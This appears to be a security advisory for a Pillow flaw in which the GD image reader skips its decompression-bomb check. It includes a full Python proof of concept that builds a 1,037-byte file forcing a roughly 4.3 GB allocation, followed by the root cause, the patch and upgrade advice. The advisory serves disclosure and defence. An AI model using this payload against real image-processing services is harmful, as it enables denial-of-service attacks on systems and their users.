CVE-2026-55380: Pillow GdImageFile Decompression Bomb (DoS)
Pillow's GD image reader accepts image dimensions of up to 65535x65535 without any size limit check, letting an attacker crash or stall a server with a 1,037-byte crafted file that triggers a ~4.3 GB
The problem
PIL/GdImageFile.py reads width and height from the GD 2.x file header and sets self._size directly, with no call to Image._decompression_bomb_check(). The maximum unsigned 16-bit value (65535 x 65535) produces 4,294,836,225 pixels, which is 24x above the threshold that normally raises a DecompressionBombError.
Because GdImageFile is not registered with Image.register_open(), it is never reachable through the standard Image.open() path that enforces the bomb guard. Callers must use PIL.GdImageFile.open() directly, which instantiates the class and bypasses the protection entirely.
Any service that calls GdImageFile.open(user_file) followed by .load() is exposed.
Proof of concept
A working proof-of-concept for CVE-2026-55380 in pillow, with the exact payload below.
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file -> 4.3 GB C-heap allocation, NO bomb check
Verified on Pillow 12.2.0
"""
import io, struct
from PIL import GdImageFile, Image
# Build minimal 1037-byte GD 2.x palette-mode header:
# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
w = struct.pack(">H", 65535) # max width (unsigned 16-bit)
h = struct.pack(">H", 65535) # max height (unsigned 16-bit)
true_color = b"\x00" # 0 = palette mode
tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037
# Standard Image.open() path BLOCKS this size
try:
Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
print(f"[BLOCKED] Image.open() path: {e}")
# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called -- 4.3 GB allocation not blocked")
# Trigger load_prepare() -> Image.core.new("P", (65535, 65535))
try:
img.load()
except OSError:
print(f"[INFO] load() OSError (no pixel data) -- C-heap allocation already attempted")
print(f"\n[MATH] {65535*65535:,} pixels = {65535*65535/(Image.MAX_IMAGE_PIXELS*2):.1f}x error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")The root cause is a missing call to Image._decompression_bomb_check(self._size) immediately after self._size is set in GdImageFile._open(). The GD header encodes width and height as unsigned 16-bit big-endian integers, so an attacker can set both to 65535 with four bytes of controlled input.
The check was already present in the sibling WalImageFile plugin, so this was a specific oversight in GdImageFile.
The patch (commit f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675) adds the missing Image._decompression_bomb_check(self._size) call right after self._size is assigned, matching the pattern already used in WalImageFile. The fix is classified as CWE-789 (Memory Allocation with Excessive Size Value).
The fix
Upgrade Pillow to 12.3.0 or later. The patch adds Image._decompression_bomb_check(self._size) inside GdImageFile._open() immediately after the size is parsed from the header. If upgrading is not immediately possible, avoid exposing PIL.GdImageFile.open() to untrusted input, or add a manual size guard before calling .load().
Related research
- highCVE-2026-59204CVE-2026-59204: Pillow JPEG2000 Tiled Decode Memory Exhaustion
- high · 7.5CVE-2026-54059CVE-2026-54059: Pillow PcfFontFile Decompression Bomb Protection Bypass
- high · 7.5CVE-2026-54060CVE-2026-54060: Pillow FontFile.compile() Decompression Bomb Bypass
- high · 7.5CVE-2026-55379CVE-2026-55379: Pillow BdfFontFile Decompression Bomb Protection Bypass